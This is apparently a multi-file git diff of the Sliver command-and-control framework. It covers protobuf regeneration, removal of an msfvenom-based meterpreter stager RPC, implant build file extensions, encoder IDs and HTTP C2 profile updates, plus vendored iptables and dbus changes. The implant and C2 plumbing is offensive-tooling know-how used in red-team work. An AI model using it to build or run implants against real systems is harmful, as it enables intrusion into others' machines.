Key string `protobuf:"bytes,1,opt,name=Key,proto3" json:"Key,omitempty"`
Value string `protobuf:"bytes,2,opt,name=Value,proto3" json:"Value,omitempty"`
sizeCache protoimpl.SizeCache
}
func (x *EnvVar) Reset() {
*x = EnvVar{}
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[5]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
mi := &file_commonpb_common_proto_msgTypes[5]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
func (x *EnvVar) String() string {
@@ -384,7 +367,7 @@ func (*EnvVar) ProtoMessage() {}
func (x *EnvVar) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[5]
if protoimpl.UnsafeEnabled && x != nil {
if x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -470,7 +453,7 @@ func file_commonpb_common_proto_rawDescGZIP() []byte {
}
var file_commonpb_common_proto_msgTypes = make([]protoimpl.MessageInfo, 6)
var file_commonpb_common_proto_goTypes = []interface{}{
var file_commonpb_common_proto_goTypes = []any{
(*Empty)(nil), // 0: commonpb.Empty
(*Request)(nil), // 1: commonpb.Request
(*Response)(nil), // 2: commonpb.Response
@@ -491,80 +474,6 @@ func file_commonpb_common_proto_init() {
if File_commonpb_common_proto != nil {
return
}
if !protoimpl.UnsafeEnabled {
file_commonpb_common_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Empty); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_commonpb_common_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Request); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_commonpb_common_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Response); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_commonpb_common_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*File); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_commonpb_common_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Process); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_commonpb_common_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*EnvVar); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
}
type x struct{}
out := protoimpl.TypeBuilder{
File: protoimpl.DescBuilder{
+15 -32
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.28.1
// protoc v4.25.3
// protoc-gen-go v1.36.3
// protoc v5.29.3
// source: dnspb/dns.proto
package dnspb
@@ -92,25 +92,22 @@ func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
//
// [Type TOTP]: ID field is used for the TOTP code
type DNSMessage struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
state protoimpl.MessageState `protogen:"open.v1"`
Type DNSMessageType `protobuf:"varint,1,opt,name=Type,proto3,enum=dnspb.DNSMessageType" json:"Type,omitempty"`
ID uint32 `protobuf:"varint,2,opt,name=ID,proto3" json:"ID,omitempty"` // 8 bit message id + 24 bit dns session ID
Start uint32 `protobuf:"varint,3,opt,name=Start,proto3" json:"Start,omitempty"` // Bytes start at
Stop uint32 `protobuf:"varint,4,opt,name=Stop,proto3" json:"Stop,omitempty"` // Bytes stop at
Size uint32 `protobuf:"varint,5,opt,name=Size,proto3" json:"Size,omitempty"` // Total size
Data []byte `protobuf:"bytes,6,opt,name=Data,proto3" json:"Data,omitempty"` // Actual data
unknownFields protoimpl.UnknownFields
Type DNSMessageType `protobuf:"varint,1,opt,name=Type,proto3,enum=dnspb.DNSMessageType" json:"Type,omitempty"`
ID uint32 `protobuf:"varint,2,opt,name=ID,proto3" json:"ID,omitempty"` // 8 bit message id + 24 bit dns session ID
Start uint32 `protobuf:"varint,3,opt,name=Start,proto3" json:"Start,omitempty"` // Bytes start at
Stop uint32 `protobuf:"varint,4,opt,name=Stop,proto3" json:"Stop,omitempty"` // Bytes stop at
Size uint32 `protobuf:"varint,5,opt,name=Size,proto3" json:"Size,omitempty"` // Total size
Data []byte `protobuf:"bytes,6,opt,name=Data,proto3" json:"Data,omitempty"` // Actual data
sizeCache protoimpl.SizeCache
}
func (x *DNSMessage) Reset() {
*x = DNSMessage{}
if protoimpl.UnsafeEnabled {
mi := &file_dnspb_dns_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
mi := &file_dnspb_dns_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
func (x *DNSMessage) String() string {
@@ -121,7 +118,7 @@ func (*DNSMessage) ProtoMessage() {}
func (x *DNSMessage) ProtoReflect() protoreflect.Message {
mi := &file_dnspb_dns_proto_msgTypes[0]
if protoimpl.UnsafeEnabled && x != nil {
if x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -221,7 +218,7 @@ func file_dnspb_dns_proto_rawDescGZIP() []byte {
var file_dnspb_dns_proto_enumTypes = make([]protoimpl.EnumInfo, 1)
var file_dnspb_dns_proto_msgTypes = make([]protoimpl.MessageInfo, 1)
var file_dnspb_dns_proto_goTypes = []interface{}{
var file_dnspb_dns_proto_goTypes = []any{
(DNSMessageType)(0), // 0: dnspb.DNSMessageType
(*DNSMessage)(nil), // 1: dnspb.DNSMessage
}
@@ -239,20 +236,6 @@ func file_dnspb_dns_proto_init() {
if File_dnspb_dns_proto != nil {
return
}
if !protoimpl.UnsafeEnabled {
file_dnspb_dns_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*DNSMessage); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
}
type x struct{}
out := protoimpl.TypeBuilder{
File: protoimpl.DescBuilder{
File diff suppressed because it is too large. Load diff
-1
View File
@@ -136,7 +136,6 @@ service SliverRPC {
rpc DeleteImplantProfile(clientpb.DeleteReq) returns (commonpb.Empty);
rpc SaveImplantProfile(clientpb.ImplantProfile)
returns (clientpb.ImplantProfile);
rpc MsfStage(clientpb.MsfStagerReq) returns (clientpb.MsfStager);
rpc ShellcodeRDI(clientpb.ShellcodeRDIReq) returns (clientpb.ShellcodeRDI);
rpc GetCompiler(commonpb.Empty) returns (clientpb.Compiler);
rpc ShellcodeEncoder(clientpb.ShellcodeEncodeReq)
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+9 -4
View File
@@ -33,6 +33,7 @@ import (
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/encoders"
"github.com/bishopfox/sliver/server/generate"
"github.com/bishopfox/sliver/server/log"
"google.golang.org/grpc"
@@ -188,6 +189,13 @@ func (b *Builder) handleBuildEvent(event *clientpb.Event) {
})
return
}
encoders.Base32EncoderID = extConfig.Encoders["base32"]
encoders.Base58EncoderID = extConfig.Encoders["base58"]
encoders.Base64EncoderID = extConfig.Encoders["base64"]
encoders.EnglishEncoderID = extConfig.Encoders["english"]
encoders.GzipEncoderID = extConfig.Encoders["gzip"]
encoders.HexEncoderID = extConfig.Encoders["hex"]
encoders.PNGEncoderID = extConfig.Encoders["png"]
var fPath string
switch extConfig.Config.Format {
@@ -233,10 +241,7 @@ func (b *Builder) handleBuildEvent(event *clientpb.Event) {
return
}
fileName := filepath.Base(extConfig.Build.Name)
if extConfig.Config.GOOS == "windows" {
fileName += ".exe"
}
fileName := filepath.Base(extConfig.Build.Name) + extConfig.Config.Extension
builderLog.Infof("Uploading '%s' to server ...", extConfig.Build.Name)
_, err = b.rpc.GenerateExternalSaveBuild(context.Background(), &clientpb.ExternalImplantBinary{
+2
View File
@@ -60,6 +60,8 @@ var (
ErrDuplicateStageExt = errors.New("stager extension is already used in another C2 profile")
ErrDuplicateStartSessionExt = errors.New("start session extension is already used in another C2 profile")
ErrDuplicateC2ProfileName = errors.New("C2 Profile name is already in use")
ErrMissingC2ProfileName = errors.New("C2 Profile name is required")
ErrC2ProfileNotFound = errors.New("C2 Profile does not exist")
ErrUserAgentIllegalCharacters = errors.New("user agent cannot contain the ` character")
fileNameExp = regexp.MustCompile(`[^a-zA-Z0-9\\._-]+`)
+1 -1
View File
@@ -123,7 +123,7 @@ remote machines to connect to the Sliver server. They are most commonly
used for allowing remote operators to connect in "Multiplayer Mode."
To generate a profile for a remote operator, you need to specify the
the "all" permission to grant the profile access to all gRPC APIs:
"all" permission to grant the profile access to all gRPC APIs:
new-operator --name <operator name> --lhost <sliver server> --permissions all
+34
View File
@@ -470,6 +470,20 @@ func HTTPC2ConfigUpdate(newConf *clientpb.HTTPC2Config, oldConf *clientpb.HTTPC2
return err.Error
}
err = Session().Where(&models.HttpC2Header{
HttpC2ImplantConfigID: &clientID,
}).Delete(&models.HttpC2Header{})
if err.Error != nil {
return err.Error
}
err = Session().Where(&models.HttpC2URLParameter{
HttpC2ImplantConfigID: clientID,
}).Delete(&models.HttpC2URLParameter{})
if err.Error != nil {
return err.Error
}
err = Session().Where(&models.ImplantConfig{
ID: clientID,
}).Updates(c2Config.ImplantConfig)
@@ -487,6 +501,26 @@ func HTTPC2ConfigUpdate(newConf *clientpb.HTTPC2Config, oldConf *clientpb.HTTPC2
}
}
for _, header := range c2Config.ImplantConfig.Headers {
header.HttpC2ImplantConfigID = &clientID
err = Session().Clauses(clause.OnConflict{
UpdateAll: true,
}).Create(&header)
if err.Error != nil {
return err.Error
}
}
for _, urlParameter := range c2Config.ImplantConfig.ExtraURLParameters {
urlParameter.HttpC2ImplantConfigID = clientID
err = Session().Clauses(clause.OnConflict{
UpdateAll: true,
}).Create(&urlParameter)
if err.Error != nil {
return err.Error
}
}
serverID, _ := uuid.FromString(oldConf.ServerConfig.ID)
err = Session().Where(&models.HttpC2Cookie{
+4 -2
View File
@@ -136,8 +136,7 @@ func ImplantBuildFromProtobuf(ib *clientpb.ImplantBuild) *ImplantBuild {
WGImplantPrivKey: ib.WGImplantPrivKey,
WGServerPubKey: ib.WGServerPubKey,
Stage: ib.Stage,
}
Stage: ib.Stage}
return &build
}
@@ -207,6 +206,7 @@ type ImplantConfig struct {
NetGoEnabled bool
TrafficEncodersEnabled bool
Assets []EncoderAsset
Extension string
}
// BeforeCreate - GORM hook
@@ -284,6 +284,7 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
IncludeNamePipe: ic.IncludeNamePipe,
IncludeWG: ic.IncludeWG,
IncludeTCP: ic.IncludeTCP,
Extension: ic.Extension,
}
if ic.ImplantProfileID != nil {
@@ -505,6 +506,7 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) *ImplantConfig
Name: pbAsset.Name,
})
}
cfg.Extension = pbConfig.Extension
return &cfg
}
+16
View File
@@ -33,6 +33,22 @@ func SliverExternal(name string, config *clientpb.ImplantConfig) (*clientpb.Exte
config.IncludeNamePipe = models.IsC2Enabled([]string{"namedpipe"}, config.C2)
config.IncludeTCP = models.IsC2Enabled([]string{"tcppivot"}, config.C2)
// set file extension for external builds
if config.IsSharedLib {
switch config.GOOS {
case WINDOWS:
config.Extension = ".dll"
case DARWIN:
config.Extension = ".dylib"
case LINUX:
config.Extension = ".so"
}
} else {
if config.GOOS == WINDOWS {
config.Extension = ".exe"
}
}
build, err := GenerateConfig(name, config)
if err != nil {
return nil, err
-20
View File
@@ -21,7 +21,6 @@ package msf
import (
"bytes"
"fmt"
"net/url"
"os/exec"
"strconv"
"strings"
@@ -116,7 +115,6 @@ type VenomConfig struct {
BadChars []string
Format string
Luri string
AdvOptions string
}
// Version - Return the version of MSFVenom
@@ -164,20 +162,6 @@ func VenomPayload(config VenomConfig) ([]byte, error) {
luri = fmt.Sprintf("LURI=%s", luri)
}
// Parse advanced options
advancedOptions := make(map[string]string)
if config.AdvOptions != "" {
options, err := url.ParseQuery(config.AdvOptions)
if err != nil {
return nil, fmt.Errorf("could not parse provided advanced options: %s", err.Error())
}
for option, value := range options {
// Options should only be specified once,
// so if a given option is specified more than once, use the last value
advancedOptions[option] = value[len(value)-1]
}
}
args := []string{
"--platform", config.Os,
"--arch", config.Arch,
@@ -188,10 +172,6 @@ func VenomPayload(config VenomConfig) ([]byte, error) {
"EXITFUNC=thread",
}
for optionName, optionValue := range advancedOptions {
args = append(args, fmt.Sprintf("%s=%s", optionName, optionValue))
}
if luri != "" {
args = append(args, luri)
}
+7 -5
View File
@@ -59,16 +59,15 @@ func (rpc *Server) SaveHTTPC2Profile(ctx context.Context, req *clientpb.HTTPC2Co
return nil, err
}
profileName := ""
if req.Overwrite {
profileName = req.C2Config.Name
if req.Overwrite && req.C2Config.Name == "" {
return nil, configs.ErrMissingC2ProfileName
}
err = db.SearchStageExtensions(req.C2Config.ImplantConfig.StagerFileExtension, profileName)
err = db.SearchStageExtensions(req.C2Config.ImplantConfig.StagerFileExtension, req.C2Config.Name)
if err != nil {
return nil, err
}
err = db.SearchStartSessionExtensions(req.C2Config.ImplantConfig.StartSessionFileExtension, profileName)
err = db.SearchStartSessionExtensions(req.C2Config.ImplantConfig.StartSessionFileExtension, req.C2Config.Name)
if err != nil {
return nil, err
}
@@ -82,6 +81,9 @@ func (rpc *Server) SaveHTTPC2Profile(ctx context.Context, req *clientpb.HTTPC2Co
}
if req.Overwrite {
if httpC2Config.Name == "" {
return nil, configs.ErrC2ProfileNotFound
}
err = db.HTTPC2ConfigUpdate(req.C2Config, httpC2Config)
if err != nil {
log.Printf("Error:\n%s", err)
+23 -6
View File
@@ -68,7 +68,7 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
if err != nil {
return nil, err
}
} else if err := util.AllowedName(name); err != nil {
} else if err := util.AllowedName(req.Name); err != nil {
return nil, err
} else {
name = req.Name
@@ -154,6 +154,11 @@ func (rpc *Server) Regenerate(ctx context.Context, req *clientpb.RegenerateReq)
return nil, status.Error(codes.InvalidArgument, "invalid implant name")
}
config, err := db.ImplantConfigByID(build.ImplantConfigID)
if err != nil {
return nil, err
}
fileData, err := generate.ImplantFileFromBuild(build)
if err != nil {
return nil, err
@@ -161,7 +166,7 @@ func (rpc *Server) Regenerate(ctx context.Context, req *clientpb.RegenerateReq)
return &clientpb.Generate{
File: &commonpb.File{
Name: build.Name,
Name: build.Name + config.Extension,
Data: fileData,
},
}, nil
@@ -340,7 +345,7 @@ func (rpc *Server) GenerateExternal(ctx context.Context, req *clientpb.ExternalG
if err != nil {
return nil, err
}
} else if err := util.AllowedName(name); err != nil {
} else if err := util.AllowedName(req.Name); err != nil {
return nil, err
} else {
name = req.Name
@@ -384,6 +389,7 @@ func (rpc *Server) GenerateExternalSaveBuild(ctx context.Context, req *clientpb.
rcpGenLog.Errorf("Failed to write implant binary to temp file: %s", err)
return nil, status.Error(codes.Internal, "Failed to write implant binary to temp file")
}
rpcLog.Infof("Saving external build '%s' from %s", req.Name, tmpFile.Name())
err = generate.ImplantBuildSave(implantBuild, implantConfig, tmpFile.Name())
if err != nil {
@@ -417,10 +423,21 @@ func (rpc *Server) GenerateExternalGetBuildConfig(ctx context.Context, req *clie
return nil, status.Error(codes.Internal, fmt.Sprintf("Unable to load HTTP C2 Configuration: %s", err))
}
encoders := map[string]uint64{
"base64": encoders.Base64EncoderID,
"base58": encoders.Base58EncoderID,
"base32": encoders.Base32EncoderID,
"hex": encoders.HexEncoderID,
"english": encoders.EnglishEncoderID,
"gzip": encoders.GzipEncoderID,
"png": encoders.PNGEncoderID,
}
return &clientpb.ExternalImplantConfig{
Config: implantConfig,
Build: build,
HTTPC2: httpC2Config,
Config: implantConfig,
Build: build,
HTTPC2: httpC2Config,
Encoders: encoders,
}, nil
}
-105
View File
@@ -20,16 +20,10 @@ package rpc
import (
"context"
"errors"
"fmt"
"math/rand"
"path"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/codenames"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/log"
@@ -143,102 +137,3 @@ func (rpc *Server) MsfRemote(ctx context.Context, req *clientpb.MSFRemoteReq) (*
}
return resp, nil
}
// MsfStage - Generate a MSF compatible stage
func (rpc *Server) MsfStage(ctx context.Context, req *clientpb.MsfStagerReq) (*clientpb.MsfStager, error) {
var (
MSFStage = &clientpb.MsfStager{
File: &commonpb.File{},
}
payload string
arch string
uri string
)
switch req.GetArch() {
case "amd64":
arch = "x64"
default:
arch = "x86"
}
switch req.Protocol {
case clientpb.StageProtocol_TCP:
payload = "meterpreter/reverse_tcp"
case clientpb.StageProtocol_HTTP:
payload = "custom/reverse_winhttp"
uri = generateCallbackURI(req.HTTPC2ConfigName)
case clientpb.StageProtocol_HTTPS:
payload = "custom/reverse_winhttps"
uri = generateCallbackURI(req.HTTPC2ConfigName)
default:
return MSFStage, errors.New("protocol not supported")
}
// We only support windows at the moment
if req.GetOS() != "windows" {
return MSFStage, fmt.Errorf("%s is currently not supported", req.GetOS())
}
venomConfig := msf.VenomConfig{
Os: req.GetOS(),
Payload: payload,
LHost: req.GetHost(),
LPort: uint16(req.GetPort()),
Arch: arch,
Format: req.GetFormat(),
BadChars: req.GetBadChars(), // TODO: make this configurable
Luri: uri,
AdvOptions: req.AdvOptions,
}
stage, err := msf.VenomPayload(venomConfig)
if err != nil {
rpcLog.Warnf("Error while generating msf payload: %v\n", err)
return MSFStage, err
}
MSFStage.File.Data = stage
name, err := codenames.GetCodename()
if err != nil {
return MSFStage, err
}
MSFStage.File.Name = name
return MSFStage, nil
}
// Utility functions
func generateCallbackURI(httpC2ConfigName string) string {
httpC2Config, err := db.LoadHTTPC2ConfigByName(httpC2ConfigName)
if err != nil {
return ""
}
segments := httpC2Config.ImplantConfig.PathSegments
StageFiles := []string{}
StagePaths := []string{}
for _, segment := range segments {
if segment.SegmentType == 3 {
if segment.IsFile {
StageFiles = append(StageFiles, segment.Value)
} else {
StagePaths = append(StagePaths, segment.Value)
}
}
}
return path.Join(randomPath(StagePaths, StageFiles)...)
}
func randomPath(segments []string, filenames []string) []string {
seed := rand.NewSource(time.Now().UnixNano())
insecureRand := rand.New(seed)
n := insecureRand.Intn(3) // How many segments?
genSegments := []string{}
for index := 0; index < n; index++ {
seg := segments[insecureRand.Intn(len(segments))]
genSegments = append(genSegments, seg)
}
filename := filenames[insecureRand.Intn(len(filenames))]
genSegments = append(genSegments, filename)
return genSegments
}
+35 -9
View File
@@ -45,15 +45,21 @@ func (e *Error) Error() string {
return fmt.Sprintf("running %v: exit status %v: %v", e.cmd.Args, e.ExitStatus(), e.msg)
}
var isNotExistPatterns = []string{
"Bad rule (does a matching rule exist in that chain?).\n",
"No chain/target/match by that name.\n",
"No such file or directory",
"does not exist",
}
// IsNotExist returns true if the error is due to the chain or rule not existing
func (e *Error) IsNotExist() bool {
if e.ExitStatus() != 1 {
return false
for _, str := range isNotExistPatterns {
if strings.Contains(e.msg, str) {
return true
}
}
msgNoRuleExist := "Bad rule (does a matching rule exist in that chain?).\n"
msgNoChainExist := "No chain/target/match by that name.\n"
msgENOENT := "No such file or directory"
return strings.Contains(e.msg, msgNoRuleExist) || strings.Contains(e.msg, msgNoChainExist) || strings.Contains(e.msg, msgENOENT)
return false
}
// Protocol to differentiate between IPv4 and IPv6
@@ -106,8 +112,20 @@ func Timeout(timeout int) option {
}
}
// New creates a new IPTables configured with the options passed as parameter.
// For backwards compatibility, by default always uses IPv4 and timeout 0.
func Path(path string) option {
return func(ipt *IPTables) {
ipt.path = path
}
}
// New creates a new IPTables configured with the options passed as parameters.
// Supported parameters are:
//
// IPFamily(Protocol)
// Timeout(int)
// Path(string)
//
// For backwards compatibility, by default New uses IPv4 and timeout 0.
// i.e. you can create an IPv6 IPTables using a timeout of 5 seconds passing
// the IPFamily and Timeout options as follow:
//
@@ -117,13 +135,21 @@ func New(opts ...option) (*IPTables, error) {
ipt := &IPTables{
proto: ProtocolIPv4,
timeout: 0,
path: "",
}
for _, opt := range opts {
opt(ipt)
}
path, err := exec.LookPath(getIptablesCommand(ipt.proto))
// if path wasn't preset through New(Path()), autodiscover it
cmd := ""
if ipt.path == "" {
cmd = getIptablesCommand(ipt.proto)
} else {
cmd = ipt.path
}
path, err := exec.LookPath(cmd)
if err != nil {
return nil, err
}
-191
View File
@@ -1,191 +0,0 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction, and
distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by the copyright
owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all other entities
that control, are controlled by, or are under common control with that entity.
For the purposes of this definition, "control" means (i) the power, direct or
indirect, to cause the direction or management of such entity, whether by
contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity exercising
permissions granted by this License.
"Source" form shall mean the preferred form for making modifications, including
but not limited to software source code, documentation source, and configuration
files.
"Object" form shall mean any form resulting from mechanical transformation or
translation of a Source form, including but not limited to compiled object code,
generated documentation, and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or Object form, made
available under the License, as indicated by a copyright notice that is included
in or attached to the work (an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object form, that
is based on (or derived from) the Work and for which the editorial revisions,
annotations, elaborations, or other modifications represent, as a whole, an
original work of authorship. For the purposes of this License, Derivative Works
shall not include works that remain separable from, or merely link (or bind by
name) to the interfaces of, the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including the original version
of the Work and any modifications or additions to that Work or Derivative Works
thereof, that is intentionally submitted to Licensor for inclusion in the Work
by the copyright owner or by an individual or Legal Entity authorized to submit
on behalf of the copyright owner. For the purposes of this definition,
"submitted" means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems, and
issue tracking systems that are managed by, or on behalf of, the Licensor for
the purpose of discussing and improving the Work, but excluding communication
that is conspicuously marked or otherwise designated in writing by the copyright
owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity on behalf
of whom a Contribution has been received by Licensor and subsequently
incorporated within the Work.
2. Grant of Copyright License.
Subject to the terms and conditions of this License, each Contributor hereby
grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free,
irrevocable copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the Work and such
Derivative Works in Source or Object form.
3. Grant of Patent License.
Subject to the terms and conditions of this License, each Contributor hereby
grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free,
irrevocable (except as stated in this section) patent license to make, have
made, use, offer to sell, sell, import, and otherwise transfer the Work, where
such license applies only to those patent claims licensable by such Contributor
that are necessarily infringed by their Contribution(s) alone or by combination
of their Contribution(s) with the Work to which such Contribution(s) was
submitted. If You institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work or a
Contribution incorporated within the Work constitutes direct or contributory
patent infringement, then any patent licenses granted to You under this License
for that Work shall terminate as of the date such litigation is filed.
4. Redistribution.
You may reproduce and distribute copies of the Work or Derivative Works thereof
in any medium, with or without modifications, and in Source or Object form,
provided that You meet the following conditions:
You must give any other recipients of the Work or Derivative Works a copy of
this License; and
You must cause any modified files to carry prominent notices stating that You
changed the files; and
You must retain, in the Source form of any Derivative Works that You distribute,
all copyright, patent, trademark, and attribution notices from the Source form
of the Work, excluding those notices that do not pertain to any part of the
Derivative Works; and
If the Work includes a "NOTICE" text file as part of its distribution, then any
Derivative Works that You distribute must include a readable copy of the
attribution notices contained within such NOTICE file, excluding those notices
that do not pertain to any part of the Derivative Works, in at least one of the
following places: within a NOTICE text file distributed as part of the
Derivative Works; within the Source form or documentation, if provided along
with the Derivative Works; or, within a display generated by the Derivative
Works, if and wherever such third-party notices normally appear. The contents of
the NOTICE file are for informational purposes only and do not modify the
License. You may add Your own attribution notices within Derivative Works that
You distribute, alongside or as an addendum to the NOTICE text from the Work,
provided that such additional attribution notices cannot be construed as
modifying the License.
You may add Your own copyright statement to Your modifications and may provide
additional or different license terms and conditions for use, reproduction, or
distribution of Your modifications, or for any such Derivative Works as a whole,
provided Your use, reproduction, and distribution of the Work otherwise complies
with the conditions stated in this License.
5. Submission of Contributions.
Unless You explicitly state otherwise, any Contribution intentionally submitted
for inclusion in the Work by You to the Licensor shall be under the terms and
conditions of this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify the terms of
any separate license agreement you may have executed with Licensor regarding
such Contributions.
6. Trademarks.
This License does not grant permission to use the trade names, trademarks,
service marks, or product names of the Licensor, except as required for
reasonable and customary use in describing the origin of the Work and
reproducing the content of the NOTICE file.
7. Disclaimer of Warranty.
Unless required by applicable law or agreed to in writing, Licensor provides the
Work (and each Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied,
including, without limitation, any warranties or conditions of TITLE,
NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are
solely responsible for determining the appropriateness of using or
redistributing the Work and assume any risks associated with Your exercise of
permissions under this License.
8. Limitation of Liability.
In no event and under no legal theory, whether in tort (including negligence),
contract, or otherwise, unless required by applicable law (such as deliberate
and grossly negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special, incidental,
or consequential damages of any character arising as a result of this License or
out of the use or inability to use the Work (including but not limited to
damages for loss of goodwill, work stoppage, computer failure or malfunction, or
any and all other commercial damages or losses), even if such Contributor has
been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability.
While redistributing the Work or Derivative Works thereof, You may choose to
offer, and charge a fee for, acceptance of support, warranty, indemnity, or
other liability obligations and/or rights consistent with this License. However,
in accepting such obligations, You may act only on Your own behalf and on Your
sole responsibility, not on behalf of any other Contributor, and only if You
agree to indemnify, defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason of your
accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work
To apply the Apache License to your work, attach the following boilerplate
notice, with the fields enclosed by brackets "[]" replaced with your own
identifying information. (Don't include the brackets!) The text should be
enclosed in the appropriate comment syntax for the file format. We also
recommend that a file or class name and description of purpose be included on
the same "printed page" as the copyright notice for easier identification within
third-party archives.
Copyright [yyyy] [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-5
View File
@@ -1,5 +0,0 @@
CoreOS Project
Copyright 2018 CoreOS, Inc
This product includes software developed at CoreOS, Inc.
(http://www.coreos.com/).
-266
View File
@@ -1,266 +0,0 @@
// Copyright 2015 CoreOS, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Integration with the systemd D-Bus API. See http://www.freedesktop.org/wiki/Software/systemd/dbus/
package dbus
import (
"context"
"encoding/hex"
"fmt"
"os"
"strconv"
"strings"
"sync"
"github.com/godbus/dbus/v5"
)
const (
alpha = `abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ`
num = `0123456789`
alphanum = alpha + num
signalBuffer = 100
)
// needsEscape checks whether a byte in a potential dbus ObjectPath needs to be escaped
func needsEscape(i int, b byte) bool {
// Escape everything that is not a-z-A-Z-0-9
// Also escape 0-9 if it's the first character
return strings.IndexByte(alphanum, b) == -1 ||
(i == 0 && strings.IndexByte(num, b) != -1)
}
// PathBusEscape sanitizes a constituent string of a dbus ObjectPath using the
// rules that systemd uses for serializing special characters.
func PathBusEscape(path string) string {
// Special case the empty string
if len(path) == 0 {
return "_"
}
n := []byte{}
for i := 0; i < len(path); i++ {
c := path[i]
if needsEscape(i, c) {
e := fmt.Sprintf("_%x", c)
n = append(n, []byte(e)...)
} else {
n = append(n, c)
}
}
return string(n)
}
// pathBusUnescape is the inverse of PathBusEscape.
func pathBusUnescape(path string) string {
if path == "_" {
return ""
}
n := []byte{}
for i := 0; i < len(path); i++ {
c := path[i]
if c == '_' && i+2 < len(path) {
res, err := hex.DecodeString(path[i+1 : i+3])
if err == nil {
